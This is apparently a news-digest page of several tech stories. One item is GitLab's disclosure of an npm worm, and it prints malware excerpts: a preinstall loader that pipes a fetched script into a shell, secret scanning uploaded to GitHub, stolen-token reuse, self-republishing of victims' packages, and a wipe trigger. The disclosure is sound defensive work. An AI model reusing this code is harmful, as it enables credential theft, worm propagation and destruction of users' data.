10 interesting stories served every morning and every evening.




1 549 shares, 56 trendiness

EU Council Approves New “Chat Control” Mandate Pushing Mass Surveillance

European gov­ern­ments have taken an­other step to­ward re­viv­ing the EUs con­tro­ver­sial Chat Control agenda, ap­prov­ing a new ne­go­ti­at­ing man­date for the Child Sexual Abuse Regulation in a closed ses­sion of the Council of the European Union on November 26.

The mea­sure, pre­sented as a tool for child pro­tec­tion, is once again draw­ing heavy crit­i­cism for its sur­veil­lance im­pli­ca­tions and the way it re­shapes pri­vate dig­i­tal com­mu­ni­ca­tion in Europe.

Unlike ear­lier drafts, this ver­sion drops the ex­plicit oblig­a­tion for com­pa­nies to scan all pri­vate mes­sages but qui­etly in­tro­duces what op­po­nents de­scribe as an in­di­rect sys­tem of pres­sure.

It re­wards or pe­nal­izes on­line ser­vices de­pend­ing on whether they agree to carry out voluntary” scan­ning, ef­fec­tively mak­ing in­tru­sive mon­i­tor­ing a busi­ness ex­pec­ta­tion rather than a le­gal re­quire­ment.

Former MEP Patrick Breyer, a long-stand­ing de­fender of dig­i­tal free­dom and one of the most vo­cal op­po­nents of the plan, said the deal paves the way for a per­ma­nent in­fra­struc­ture of mass sur­veil­lance.”

According to him, the Council’s text re­places le­gal com­pul­sion with fi­nan­cial and reg­u­la­tory in­cen­tives that push ma­jor US tech­nol­ogy firms to­ward in­dis­crim­i­nate scan­ning.

He warned that the frame­work also brings anonymity-breaking age checks” that will turn or­di­nary on­line use into an ex­er­cise in iden­tity ver­i­fi­ca­tion.

The new pro­posal, bro­kered largely through Danish me­di­a­tion, comes months af­ter the orig­i­nal Chat Control 1.0” reg­u­la­tion ap­peared to have been shelved fol­low­ing wide­spread back­lash.

It re­in­states many of the same prin­ci­ples, re­quir­ing providers to as­sess their po­ten­tial risk” for child abuse con­tent and to ap­ply mitigation mea­sures” ap­proved by au­thor­i­ties. In prac­tice, that could mean pres­sure to in­stall scan­ning tools that probe both en­crypted and un­en­crypted com­mu­ni­ca­tions.

Czech MEP Markéta Gregorová called the Council’s po­si­tion a dis­ap­point­ment…Chat Control…opens the way to blan­ket scan­ning of our mes­sages.”

In the Netherlands, mem­bers of par­lia­ment forced their gov­ern­ment to vote against the plan, warn­ing that it com­bines mandatory age ver­i­fi­ca­tion” with a voluntary oblig­a­tion” scheme that could pe­nal­ize any com­pany re­fus­ing to adopt in­va­sive sur­veil­lance meth­ods. Poland and the Czech Republic also voted against, and Italy ab­stained.

Former Dutch MEP Rob Roos ac­cused Brussels of op­er­at­ing behind closed doors,” warn­ing that Europe risks slid­ing into dig­i­tal au­thor­i­tar­i­an­ism.”

Beyond par­lia­men­tar­i­ans, in­de­pen­dent voices such as Daniel Vávra, David Heinemeier Hansson, and pri­vacy-fo­cused com­pany Mullvad have spo­ken out against the Council’s po­si­tion, call­ing it a di­rect threat to pri­vate com­mu­ni­ca­tion on­line.

Despite the re­moval of the word mandatory,” the struc­ture of the new deal ap­pears to pre­serve mass scan­ning in prac­tice.

Breyer de­scribed it as a Trojan Horse,” ar­gu­ing that by call­ing the process voluntary,” EU gov­ern­ments have shifted the bur­den of sur­veil­lance to tech com­pa­nies them­selves.

The Council’s man­date in­tro­duces three cen­tral dan­gers that re­main largely un­ac­knowl­edged in the pub­lic de­bate.

First, so-called voluntary scan­ning” turns mass sur­veil­lance into stan­dard op­er­at­ing pro­ce­dure. The pro­posal ex­tends the ear­lier tem­po­rary reg­u­la­tion that al­lowed ser­vice providers to scan user mes­sages and im­ages with­out war­rants.

Authorities like Germany’s Federal Criminal Police Office have re­ported that roughly half the alerts from such sys­tems are base­less, of­ten in­volv­ing com­pletely le­gal con­tent flagged by flawed al­go­rithms. Breyer said these sys­tems leak tens of thou­sands of com­pletely le­gal, pri­vate chats” to law en­force­ment every year.

Second, the plan ef­fec­tively erases anony­mous com­mu­ni­ca­tion. To meet the new re­quire­ment to reliably iden­tify mi­nors,” providers will have to im­ple­ment uni­ver­sal age checks. This likely means ID ver­i­fi­ca­tion or face scans be­fore ac­cess­ing even ba­sic ser­vices such as email or mes­sag­ing apps.

For jour­nal­ists, ac­tivists, and any­one who de­pends on anonymity for pro­tec­tion, this sys­tem could make easy pri­vate speech func­tion­ally im­pos­si­ble.

Technical ex­perts have re­peat­edly warned that age es­ti­ma­tion cannot be per­formed in a pri­vacy-pre­serv­ing way” and car­ries a dis­pro­por­tion­ate risk of se­ri­ous pri­vacy vi­o­la­tion and dis­crim­i­na­tion.”

Third, it risks dig­i­tally iso­lat­ing young peo­ple. Under the Council’s frame­work, users un­der 17 could be blocked from many plat­forms un­less they pass strict iden­tity ver­i­fi­ca­tion, in­clud­ing chat-en­abled games and mes­sag­ing ser­vices. Breyer called this idea pedagogical non­sense,” ar­gu­ing that it ex­cludes teenagers in­stead of help­ing them de­velop safe on­line habits.

Member states re­main di­vided: the Netherlands, Poland, and the Czech Republic re­jected the text, while Italy ab­stained. Negotiations be­tween the European Parliament and the Council are ex­pected to be­gin soon, aim­ing for a fi­nal ver­sion be­fore April 2026.

Breyer warned that the ap­par­ent com­pro­mise is no real re­treat from sur­veil­lance. The head­lines are mis­lead­ing: Chat Control is not dead, it is just be­ing pri­va­tized,” he said. We are fac­ing a fu­ture where you need an ID card to send a mes­sage, and where for­eign black-box AI de­cides if your pri­vate pho­tos are sus­pi­cious. This is not a vic­tory for pri­vacy; it is a dis­as­ter wait­ing to hap­pen.”

...

Read the original on reclaimthenet.org »

2 436 shares, 31 trendiness

NullPxl/banrays: Glasses to detect smart-glasses that have cameras. Ray-BANNED

Glasses to de­tect smart-glasses that have cam­eras

So far fin­ger­print­ing spe­cific de­vices based on blue­tooth (BLE) is look­ing like eas­i­est and most re­li­able ap­proach. The pic­ture be­low is the first ver­sion, which plays the leg­end of zelda secret found’ jin­gle when it de­tects a BLE ad­ver­tise­ment from Meta Raybans.

I’m es­sen­tially treat­ing this README like a log­book, so it will have my cur­rent ap­proaches/​ideas.

By send­ing IR at cam­era lenses, we can take ad­van­tage of the fact that the CMOS sen­sor in a cam­era re­flects light di­rectly back at the source (called retro-reflectivity’ / cat-eye ef­fect’) to iden­tify cam­eras.

This is­n’t ex­actly a new idea. Some re­searchers in 2005 used this prop­erty to cre­ate capture-resistant en­vi­ron­ments’ when smart­phones with cam­eras were gain­ing pop­u­lar­ity.

There’s even some re­cent re­search (2024) that fig­ured out how to clas­sify in­di­vid­ual cam­eras based on their retro-re­flec­tions.

Now we have a sim­i­lar sit­u­a­tion to those 2005 re­searchers on our hands, where smart glasses with hid­den cam­eras seem to be get­ting more pop­u­lar. So I want to cre­ate a pair of glasses to iden­tify these. Unfortunately, from what I can tell most of the ex­ist­ing re­search in this space records data with a cam­era and then uses ML, a ton of con­trolled an­gles, etc. to dif­fer­en­ti­ate be­tween nor­mal re­flec­tive sur­faces and cam­eras.

I would feel pretty silly if my so­lu­tion uses its own cam­era. So I’ll be avoid­ing that. Instead I think it’s likely I’ll have to rely on be­ing con­sis­tent with my sweeps’, and cre­at­ing a good clas­si­fier based on sig­nal data. For ex­am­ple you can see here that the back cam­era on my smart­phone seems to pro­duce quick and large spikes, while the glossy screen cre­ates a more pro­longed wave.

After get­ting to test some Meta Raybans, I found that this setup is not go­ing to be suf­fi­cient. Here’s a test of some sweeps of the cam­era-area + the same area when the lens is cov­ered. You can see the wave­form is sim­i­lar to what I saw in the ear­lier test (short spike for cam­era, wider oth­er­wise), but it’s wildly in­con­sis­tent and the strength of the sig­nal is very weak. This was from about 4 inches away from the LEDs. I did­n’t no­tice much dif­fer­ence when swap­ping be­tween 940nm and 850nm LEDs.

So at least with cur­rent hard­ware that’s easy for me to ac­cess, this prob­a­bly is­n’t enough to dif­fer­en­ti­ate ac­cu­rately.

Another idea I had is to cre­ate a des­ig­nated sweep pattern’. The user (wearing the de­tec­tor glasses) would per­form a spe­cific scan pat­tern of the tar­get. Using the wave­forms cap­tured from this data, maybe we can more ac­cu­rately fin­ger­print the ray­bans. For ex­am­ple, sweep­ing across the tar­gets glasses in a left, right, up, down’ ap­proach. I tested this by com­par­ing the re­sults of the Meta ray­bans vs some avi­a­tors I had ly­ing around. I think the idea be­hind this ap­proach is sound (actually it’s light), but it might need more work­shop­ping.

* ex­per­i­ment with com­bin­ing data from dif­fer­ent wave­lengths

This has been more tricky than I first thought! My cur­rent ap­proach here is to fin­ger­print the Meta Raybans over Bluetooth low-en­ergy (BLE) ad­ver­tise­ments. But, I have only been able to de­tect BLE traf­fic dur­ing 1) pair­ing 2) pow­er­ing-on. I some­times also see the ad­ver­tise­ment as they are taken out of the case (while al­ready pow­ered on), but not con­sis­tently.

The goal is to de­tect them dur­ing us­age when they’re com­mu­ni­cat­ing with the paired phone, but to see this type of di­rected BLE traf­fic it seems like I would first need to see the CONNECT_REQ packet which has in­for­ma­tion as to what which of the com­mu­ni­ca­tion chan­nels to hop be­tween in sync. I don’t think what I cur­rently have (ESP32) is set up to do this kind of fol­low­ing.

* po­ten­tially can use an nRF mod­ule for this

For any of the blue­tooth clas­sic (BTC) traf­fic, un­for­tu­nately the hard­ware seems a bit more in­volved (read: ex­pen­sive). So if I want to do down this route, I’ll likely need a more clever so­lu­tion here.

When turned on or put into pair­ing mode (or some­times when taken out of the case), I can de­tect the de­vice through ad­ver­tised man­u­fac­turer data and ser­vice UUIDs. 0x01AB is a Meta-specific SIG-assigned ID (assigned by the Bluetooth stan­dards body), and 0xFD5F in the Service UUID is as­signed to Meta as well.

cap­ture when the glasses are pow­ered on:

IEEE as­signs cer­tain MAC ad­dress pre­fixes (OUI, Organizationally Unique Identifier’), but these ad­dresses get ran­dom­ized so I don’t ex­pect them to be su­per use­ful for BLE.

Here’s some links to more data if you’re cu­ri­ous:

Thanks to Trevor Seets and Junming Chen for their ad­vice in op­tics and BLE (respectively). Also to Sohail for lend­ing me meta ray­bans to test with.

...

Read the original on github.com »

3 413 shares, 55 trendiness

Anerkennung von Open-Source-Arbeit als Ehrenamt in Deutschland

Open-Source-Software bildet heute das Fundament großer Teile der dig­i­talen Infrastruktur — in Verwaltung, Wirtschaft, Forschung und im täglichen Leben. Selbst im ak­tuellen Koalitionsvertrag der Bundesregierung wird Open-Source-Software als el­e­mentarer Baustein zur Erreichung dig­i­taler Souveränität genannt.

Dennoch wird die Arbeit, die tausende Freiwillige dafür leis­ten, in Deutschland steuer- und förder­rechtlich nicht als Ehrenamt an­erkannt. Dieses Ungleichgewicht zwis­chen gesellschaftlicher Bedeutung und rechtlichem Status gilt es zu ko­r­rigieren.

Als ak­tiver Contributor in Open-Source-Projekten fordere ich da­her, Open-Source-Arbeit als gemein­wohlo­ri­en­tiertes Ehrenamt anzuerken­nen — gle­ichrangig mit Vereinsarbeit, Jugendarbeit oder Rettungsdiensten.

...

Read the original on www.openpetition.de »

4 361 shares, 16 trendiness

GitLab discovers widespread npm supply chain attack

GitLab’s Vulnerability Research team has iden­ti­fied an ac­tive, large-scale sup­ply chain at­tack in­volv­ing a de­struc­tive mal­ware vari­ant spread­ing through the npm ecosys­tem. Our in­ter­nal mon­i­tor­ing sys­tem has un­cov­ered mul­ti­ple in­fected pack­ages con­tain­ing what ap­pears to be an evolved ver­sion of the Shai-Hulud” mal­ware.

Early analy­sis shows worm-like prop­a­ga­tion be­hav­ior that au­to­mat­i­cally in­fects ad­di­tional pack­ages main­tained by im­pacted de­vel­op­ers. Most crit­i­cally, we’ve dis­cov­ered the mal­ware con­tains a dead man’s switch” mech­a­nism that threat­ens to de­stroy user data if its prop­a­ga­tion and ex­fil­tra­tion chan­nels are sev­ered.

We ver­i­fied that GitLab was not us­ing any of the ma­li­cious pack­ages and are shar­ing our find­ings to help the broader se­cu­rity com­mu­nity re­spond ef­fec­tively.

Our in­ter­nal mon­i­tor­ing sys­tem, which scans open-source pack­age reg­istries for ma­li­cious pack­ages, has iden­ti­fied mul­ti­ple npm pack­ages in­fected with so­phis­ti­cated mal­ware that:

* Propagates by au­to­mat­i­cally in­fect­ing other pack­ages owned by vic­tims

* Contains a de­struc­tive pay­load that trig­gers if the mal­ware loses ac­cess to its in­fra­struc­ture

While we’ve con­firmed sev­eral in­fected pack­ages, the worm-like prop­a­ga­tion mech­a­nism means many more pack­ages are likely com­pro­mised. The in­ves­ti­ga­tion is on­go­ing as we work to un­der­stand the full scope of this cam­paign.

The mal­ware in­fil­trates sys­tems through a care­fully crafted multi-stage load­ing process. Infected pack­ages con­tain a mod­i­fied pack­age.json with a pre­in­stall script point­ing to set­up_bun.js. This loader script ap­pears in­nocu­ous, claim­ing to in­stall the Bun JavaScript run­time, which is a le­git­i­mate tool. However, its true pur­pose is to es­tab­lish the mal­ware’s ex­e­cu­tion en­vi­ron­ment.

// This file gets added to vic­tim’s pack­ages as set­up_bun.js

#!/usr/bin/env node

async func­tion down­loadAnd­Se­tup­Bun() {

// Downloads and in­stalls bun

let com­mand = process.plat­form === win32’

? powershell -c irm bun.sh/​in­stall.ps1|iex

: curl -fsSL https://​bun.sh/​in­stall | bash’;

ex­ec­Sync(com­mand, { stdio: ignore’ });

// Runs the ac­tual mal­ware

runEx­e­cutable(bun­Path, [‘bun_environment.js’]);

The set­up_bun.js loader down­loads or lo­cates the Bun run­time on the sys­tem, then ex­e­cutes the bun­dled bun_en­vi­ron­ment.js pay­load, a 10MB ob­fus­cated file al­ready pre­sent in the in­fected pack­age. This ap­proach pro­vides mul­ti­ple lay­ers of eva­sion: the ini­tial loader is small and seem­ingly le­git­i­mate, while the ac­tual ma­li­cious code is heav­ily ob­fus­cated and bun­dled into a file too large for ca­sual in­spec­tion.

Once ex­e­cuted, the mal­ware im­me­di­ately be­gins cre­den­tial dis­cov­ery across mul­ti­ple sources:

* GitHub to­kens: Searches en­vi­ron­ment vari­ables and GitHub CLI con­fig­u­ra­tions for to­kens start­ing with ghp_ (GitHub per­sonal ac­cess to­ken) or gho_(GitHub OAuth to­ken)

* Cloud cre­den­tials: Enumerates AWS, GCP, and Azure cre­den­tials us­ing of­fi­cial SDKs, check­ing en­vi­ron­ment vari­ables, con­fig files, and meta­data ser­vices

* npm to­kens: Extracts to­kens for pack­age pub­lish­ing from .npmrc files and en­vi­ron­ment vari­ables, which are com­mon lo­ca­tions for se­curely stor­ing sen­si­tive con­fig­u­ra­tion and cre­den­tials.

* Filesystem scan­ning: Downloads and ex­e­cutes Trufflehog, a le­git­i­mate se­cu­rity tool, to scan the en­tire home di­rec­tory for API keys, pass­words, and other se­crets hid­den in con­fig­u­ra­tion files, source code, or git his­tory

async func­tion scan­Filesys­tem() {

let scan­ner = new Trufflehog();

await scan­ner.ini­tial­ize();

// Scan user’s home di­rec­tory for se­crets

let find­ings = await scan­ner.scan­Filesys­tem(os.home­dir());

// Upload find­ings to ex­fil­tra­tion repo

await github.save­Con­tents(“truf­fleS­e­crets.json”,

JSON.stringify(findings));

The mal­ware uses stolen GitHub to­kens to cre­ate pub­lic repos­i­to­ries with a spe­cific marker in their de­scrip­tion: Sha1-Hulud: The Second Coming.” These repos­i­to­ries serve as drop­boxes for stolen cre­den­tials and sys­tem in­for­ma­tion.

async func­tion cre­ateRepo(name) {

// Creates a repos­i­tory with a spe­cific de­scrip­tion marker

let repo = await this.oc­tokit.re­pos.cre­ate­ForAuthen­ti­cat­e­dUser({

name: name,

de­scrip­tion: Sha1-Hulud: The Second Coming.”, // Marker for find­ing re­pos later

pri­vate: false,

au­to_init: false,

has_dis­cus­sions: true

// Install GitHub Actions run­ner for per­sis­tence

if (await this.check­Work­flowS­cope()) {

let to­ken = await this.oc­tokit.re­quest(

POST /repos/{owner}/{repo}/actions/runners/registration-token”

await in­stall­Run­ner(to­ken); // Installs self-hosted run­ner

re­turn repo;

Critically, if the ini­tial GitHub to­ken lacks suf­fi­cient per­mis­sions, the mal­ware searches for other com­pro­mised repos­i­to­ries with the same marker, al­low­ing it to re­trieve to­kens from other in­fected sys­tems. This cre­ates a re­silient bot­net-like net­work where com­pro­mised sys­tems share ac­cess to­kens.

// How the mal­ware net­work shares to­kens:

async fetch­To­ken() {

// Search GitHub for re­pos with the iden­ti­fy­ing marker

let re­sults = await this.oc­tokit.search.re­pos({

q: “Sha1-Hulud: The Second Coming.“’,

sort: updated”

// Try to re­trieve to­kens from com­pro­mised re­pos

for (let repo of re­sults) {

let con­tents = await fetch(

`https://​raw.githubuser­con­tent.com/${​repo.owner}/${​repo.name}/​main/​con­tents.json`

let data = JSON.parse(Buffer.from(contents, base64’).toString());

let to­ken = data?.mod­ules?.github?.to­ken;

if (token && await val­i­date­To­ken(to­ken)) {

re­turn to­ken; // Use to­ken from an­other in­fected sys­tem

re­turn null; // No valid to­kens found in net­work

Downloads all pack­ages main­tained by the vic­tim

Injects the set­up_bun.js loader into each pack­age’s pre­in­stall scripts

async func­tion up­datePack­age(pack­age­Info) {

// Download orig­i­nal pack­age

let tar­ball = await fetch(pack­age­Info.tar­ballUrl);

// Extract and mod­ify pack­age.json

let pack­age­J­son = JSON.parse(await read­File(“pack­age.json”));

// Add ma­li­cious pre­in­stall script

pack­age­J­son.scripts.pre­in­stall = node set­up_bun.js”;

// Increment ver­sion

let ver­sion = pack­age­J­son.ver­sion.split(”.“).map(Num­ber);

ver­sion[2] = (version[2] || 0) + 1;

pack­age­J­son.ver­sion = ver­sion.join(”.“);

// Bundle back­door in­staller

await write­File(“set­up_bun.js”, BACKDOOR_CODE);

// Repackage and pub­lish

await Bun.$`npm pub­lish ${modifiedPackage}`.env({

NPM_CONFIG_TOKEN: this.to­ken

Our analy­sis un­cov­ered a de­struc­tive pay­load de­signed to pro­tect the mal­ware’s in­fra­struc­ture against take­down at­tempts.

The mal­ware con­tin­u­ously mon­i­tors its ac­cess to GitHub (for ex­fil­tra­tion) and npm (for prop­a­ga­tion). If an in­fected sys­tem loses ac­cess to both chan­nels si­mul­ta­ne­ously, it trig­gers im­me­di­ate data de­struc­tion on the com­pro­mised ma­chine. On Windows, it at­tempts to delete all user files and over­write disk sec­tors. On Unix sys­tems, it uses shred to over­write files be­fore dele­tion, mak­ing re­cov­ery nearly im­pos­si­ble.

// CRITICAL: Token val­i­da­tion fail­ure trig­gers de­struc­tion

async func­tion aL0() {

let githubApi = new dq();

let npm­To­ken = process.env.NPM_­TO­KEN || await find­Npm­To­ken();

// Try to find or cre­ate GitHub ac­cess

if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {

let fetched­To­ken = await githubApi.fetch­To­ken(); // Search for to­kens in com­pro­mised re­pos

if (!fetchedToken) { // No GitHub ac­cess pos­si­ble

if (npmToken) {

// Fallback to NPM prop­a­ga­tion only

await El(npmToken);

} else {

// DESTRUCTION TRIGGER: No GitHub AND no NPM ac­cess

con­sole.log(“Er­ror 12”);

if (platform === windows”) {

// Attempts to delete all user files and over­write disk sec­tors

Bun.spawnSync([“cmd.exe”, /c”,

...

Read the original on about.gitlab.com »

5 337 shares, 30 trendiness

hexagonal-sun/moss-kernel: Rust Linux-compatible kernel

moss is a Unix-like, Linux-compatible ker­nel writ­ten in Rust and Aarch64 as­sem­bly.

It fea­tures a mod­ern, asyn­chro­nous core, a mod­u­lar ar­chi­tec­ture ab­strac­tion layer, and bi­nary com­pat­i­bil­ity with Linux user­space ap­pli­ca­tions (currently ca­pa­ble of run­ning most BusyBox com­mands).

* A well-de­fined HAL al­low­ing for easy port­ing to other ar­chi­tec­tures (e.g.,

x86_64, RISC-V).

* Memory Management:

Buddy al­lo­ca­tor for phys­i­cal ad­dresses and smal­loc for boot al­lo­ca­tions

and track­ing mem­ory reser­va­tions.

* Buddy al­lo­ca­tor for phys­i­cal ad­dresses and smal­loc for boot al­lo­ca­tions

and track­ing mem­ory reser­va­tions.

One of the defin­ing fea­tures of moss is its us­age of Rust’s async/​await

model within the ker­nel con­text:

* All non-triv­ial sys­tem calls are writ­ten as async func­tions, sleep-able

func­tions are pre­fixed with .await.

* The com­piler en­forces that spin­locks can­not be held over sleep points,

elim­i­nat­ing a com­mon class of ker­nel dead­locks.

* Currently im­ple­ments 51 Linux syscalls; suf­fi­cient to ex­e­cute most BusyBox

com­mands.

moss is built on top of libker­nel, a util­ity li­brary de­signed to be ar­chi­tec­ture-ag­nos­tic. This al­lows logic to be tested on a host ma­chine (e.g., x86) be­fore run­ning on bare metal.

* Test Suite: A com­pre­hen­sive suite of 230+ tests en­sur­ing func­tion­al­ity across

ar­chi­tec­tures (e.g., val­i­dat­ing Aarch64 page table pars­ing logic on an x86

host).

You will need QEMU for aarch64 em­u­la­tion and dos­f­s­tools to cre­ate the vir­tual file sys­tem.

sudo apt in­stall qemu-sys­tem-aarch64 dos­f­s­tools

Additionally you will need a ver­sion of the aarch64-none-elf tool­chain in­stalled.

To in­stall aarch64-none-elf on any os, down­load the cor­rect re­lease of aarch64-none-elf onto your com­puter, un­pack it, then ex­port the bin folder to path.

nix shell nix­p­kgs#pkgsCross.aarch64-em­bed­ded.stdenv.cc nix­p­kgs#pkgsCross.aarch64-em­bed­ded.stdenv.cc.bin­tools

First, run the fol­low­ing script to pre­pare the bi­na­ries for the im­age:

./scripts/build-deps.sh

This will down­load and build the nec­es­sary de­pen­den­cies for the ker­nel and put them into the build di­rec­tory.

Once that is done, you can cre­ate the im­age us­ing the fol­low­ing com­mand:

sudo ./scripts/create-image.sh

This will cre­ate an im­age file named moss.img in the root di­rec­tory of the pro­ject, for­mat it as VFAT 32 and cre­ate the nec­es­sary files and di­rec­to­ries for the ker­nel.

This script needs to run with sudo to mount the im­age through a loop de­vice, which is re­quired to prop­erly cre­ate the im­age for the ker­nel to work.

To build the ker­nel and launch it in QEMU:

cargo run –release

Because libker­nel is ar­chi­tec­turally de­cou­pled, you can run the logic tests on your host ma­chine:

cargo test -p libker­nel –target x86_64-un­known-linux-gnu

Contributions are wel­come! Whether you are in­ter­ested in writ­ing a dri­ver, port­ing to x86, or adding syscalls.

Distributed un­der the MIT License. See LICENSE for more in­for­ma­tion.

...

Read the original on github.com »

6 322 shares, 13 trendiness

250MWh 'Sand Battery' to start construction in Finland, for both heating and ancillary services

Technology provider Polar Night Energy and util­ity Lahti Energia have part­nered for a large-scale pro­ject us­ing Polar’s Sand Battery’ tech­nol­ogy for the lat­ter’s dis­trict heat­ing net­work in Vääksy, Finland.

The pro­ject will have a heat­ing power of 2MW and a ther­mal en­ergy stor­age (TES) ca­pac­ity of 250MW, mak­ing it a 125-hour sys­tem and the largest sand-based TES pro­ject once com­plete.

It will sup­ply heat to Lahti Energia’s Vääksy dis­trict heat­ing net­work but is also large enough to par­tic­i­pate in Fingrid’s re­serve and grid bal­anc­ing mar­kets.

Polar Night Energy’s tech­nol­ogy works by heat­ing a sand or a sim­i­lar solid ma­te­r­ial us­ing elec­tric­ity, re­tain­ing that heat and then dis­charg­ing that for in­dus­trial or heat­ing use.

...

Read the original on www.energy-storage.news »

7 286 shares, 37 trendiness

A Remarkable Assertion from A16Z

A friend made me aware of a read­ing list from A16Z con­taing rec­om­men­da­tions for books, weighted to­wards sci­ence fic­tion since that’s mostly what peo­ple there read. Some of my books are listed. Since this is the sea­son of Thanksgiving, I’ll start by say­ing that I gen­uinely ap­pre­ci­ate the plug! However, I was taken aback by the state­ment high­lighted in the screen grab be­low:

…most of these books don’t have end­ings (they lit­er­ally stop mid-sen­tence).”

I had to read this over a few times to be­lieve that I was see­ing it. If it did­n’t in­clude the word literally” I’d as­sume some po­etic li­cense on the part of who­ever, or what­ever, wrote this. But even then it would be crazy wrong.

I’m not sur­prised or per­turbed by the un­der­ly­ing sen­ti­ment. Some of my end­ings have been con­tro­ver­sial for a long time. Tastes dif­fer. Some read­ers would pre­fer more con­clu­sive end­ings. Now, in some cases, such as Snow Crash, I sim­ply can’t fathom why any reader could read the end­ing—a long ac­tion se­quence in which the Big Bad is de­feated, the two pri­mary an­tag­o­nists meet their maker and Y. T. is rec­on­ciled and re­united with her mother—as any­thing other than a proper wind-up to the story. In other cases, no­tably The Diamond Age and Seveneves, I can un­der­stand why read­ers who pre­fer a firm con­clu­sion would end up be­ing frus­trated. It is sim­ply not what I was try­ing to do in those books. So, for a long time, peo­ple have ar­gued about some of my end­ings, and that’s fine.

In this case, though, we have a big com­pany ex­plic­itly stat­ing that sev­eral of my best-known books just stop mid-sen­tence, and putting in the word literally” to elim­i­nate any room for in­ter­pre­tive lee­way.

This is­n’t lit­er­ary crit­i­cism, which con­sists of state­ments of opin­ion. This is a fac­tual as­ser­tion that is (a) false, (b) easy to fact-check, and (c) casts my work ethic, and that of my ed­i­tors, in an un­flat­ter­ing light.

It is in­ter­est­ing to spec­u­late as to how such an as­ser­tion found its way onto A16Zs web­site!

By far the most plau­si­ble ex­pla­na­tion is that this ver­biage was gen­er­ated by an AI and then copy-pasted into the web page by a hu­man who did­n’t bother to fact-check it. This would ex­plain the mis­spelling of my name and some pe­cu­liar­i­ties in the writ­ing style. Of course, this kind of thing is hap­pen­ing all the time now in law, acad­e­mia, jour­nal­ism, and other fields, so it’s pretty un­re­mark­able; it just caught my at­ten­tion be­cause it’s the first time it’s di­rectly af­fected me.

The flow di­a­gram looks like this:

That does a pretty good job of ex­plain­ing how this all might have come about. So far so good. But it raises in­ter­est­ing ques­tions about what hap­pens next: the faulty quote from this seem­ingly au­thor­i­ta­tive source in turn gets in­gested by the next gen­er­a­tion of LLMs, and so on and so forth:

A hun­dred years from now, thanks to the work­ings of the Inhuman Centipede, I’m known as a de­servedly ob­scure dadaist prose styl­ist who thought it was cool to stop his books mid-sen­tence.

In this sce­nario, which seems more far-fetched, we have a sin­cere and hon­est hu­man writer who is re­port­ing what they be­lieve to be true based on false in­for­ma­tion. It breaks down into two sub-hy­pothe­ses:

There are boot­leg copies of count­less books cir­cu­lat­ing all over the Internet, and have been for decades. Very of­ten these are of poor qual­ity. It could be that the per­son (or the AI) who wrote the above ex­cerpt de­cided to save some money by down­load­ing one of those, and got a bad copy that was cut off in mid-sen­tence.

Even in the le­git pub­lish­ing in­dus­try, the qual­ity of trans­la­tions can be quite vari­able, and it’s dif­fi­cult for au­thors to know whether a given trans­la­tion was any good. I’ve seen trans­lated edi­tions of some of my books that look sus­pi­ciously short on page count. For all I know there might be trans­la­tions of my books (legit or boot­leg) that ac­tu­ally do stop mid-sen­tence!

I gen­uinely am grate­ful to have been in­cluded on this list! But I had to say some­thing about this as­ton­ish­ing howler em­bed­ded in the oth­er­wise rea­son­able ver­biage.

Even the most cyn­i­cal and Internet-savvy among us are some­how hard-wired to take any­thing we read on the Internet at face value. I’m as guilty as the next per­son. This has been a bad idea for a long time now, since bad ac­tors have been swarm­ing onto the Internet for decades. Now, though, it’s a bad idea for a whole new rea­son: con­tent we read on the Internet might not have been writ­ten by a per­son with an in­tent to mis­in­form, but rather by an LLM with no mo­tives what­so­ever, and no un­der­ly­ing model of re­al­ity that en­ables it to de­ter­mine fact from fic­tion.

...

Read the original on nealstephenson.substack.com »

8 248 shares, 50 trendiness

Credit Report Shows Meta Keeping $27 Billion Off Its Books Through Advanced Geometry

EXCLUSIVE: Credit Report Shows Meta Keeping $27 Billion Off Its Books Through Advanced GeometryAnalyst: Tom Bellwether

Contact Information: None avail­able*

*Because of the com­plex na­ture of fi­nan­cial alchemy, our an­a­lysts live a her­metic lifestyle and avoid rel­e­vant news, day­light, and the ol­fac­tory senses needed to de­tect bull­shit. Following our re­view of Beignet Investor LLC (the Issuer), an af­fil­i­ate of Blue Owl Capital, in con­nec­tion with its par­tic­i­pa­tion in an 80% joint ven­ture with Meta Platforms Inc., we as­sign a pre­lim­i­nary A+ rat­ing to the Issuer’s pro­posed $27.30 bil­lion se­nior se­cured amor­tiz­ing notes.This rat­ing re­flects our opin­ion that:All ma­te­r­ial risks are con­trac­tu­ally as­signed to Meta, which al­lows us to clas­sify them as hy­po­thet­i­cal and pro­ceed ac­cord­ingly.Pro­jected cash flows are suf­fi­ciently flat and un­both­ered by re­al­ity to sup­port the rat­ing.Resid­ual Value Guarantees (RVGs) ex­ist, which we take as ev­i­dence that as­set val­ues will be­have in ac­cor­dance with wishes rather than mar­kets.The Outlook is Superficially Stable, de­fined here as By out­ward ap­pear­ances sta­ble un­less, you know, things hap­pen. Then we’ll down­grade af­ter the shit hits the fan.”Blue Owl Capital Inc. (Blue Owl, BBB/Stable), through af­fil­i­ated funds, has cre­ated Beignet Investor LLC (Beignet or Issuer), a pro­ject fi­nance-style hold­ing com­pany that will own an 80 per­cent in­ter­est in a joint ven­ture (JVCo) with Meta Platforms Inc. (Meta, AA-/Stable). The en­tity is named Beignet,” pre­sum­ably be­cause Off-Balance-Sheet Leverage Vehicle No. 5” tested poorly with fo­cus groups.Beignet is is­su­ing $27.30 bil­lion of se­nior se­cured amor­tiz­ing notes due May 2049 un­der a Rule 144A struc­ture.Note pro­ceeds, to­gether with $2.45 bil­lion of de­ferred eq­uity from Blue Owl funds and $1.16 bil­lion of in­ter­est earned on bor­rowed money held in Treasuries, will fund Beignet’s $23.03 bil­lion con­tri­bu­tion to JVCo for the 2.064 GW hy­per­scale data cen­ter cam­pus in Richland Parish, Louisiana, along with re­serve ac­counts, cap­i­tal­ized in­ter­est and other trans­ac­tion costs that seem small only in com­par­i­son to the rest of the sen­tence.Iris Crossing LLC, an in­di­rect Meta sub­sidiary, will own the re­main­ing 20 per­cent of JVCo and fund ap­prox­i­mately $5.76 bil­lion of con­struc­tion costs.We as­sign a pre­lim­i­nary A+ rat­ing to the notes, one notch be­low Meta’s is­suer credit rat­ing, re­flect­ing the very strong con­trac­tual link­age to Meta and the tight tech­ni­cal sep­a­ra­tion that al­lows Meta to keep roughly $27 bil­lion of as­sets and debt off its bal­ance sheet while con­tin­u­ing to pro­vide all ma­te­r­ial eco­nomic sup­port.Ar­rows, like cats, have a way of com­ing home, no mat­ter how far you throw them.Meta trans­ferred the Hyperion data cen­ter pro­ject into JVCo, which is owned 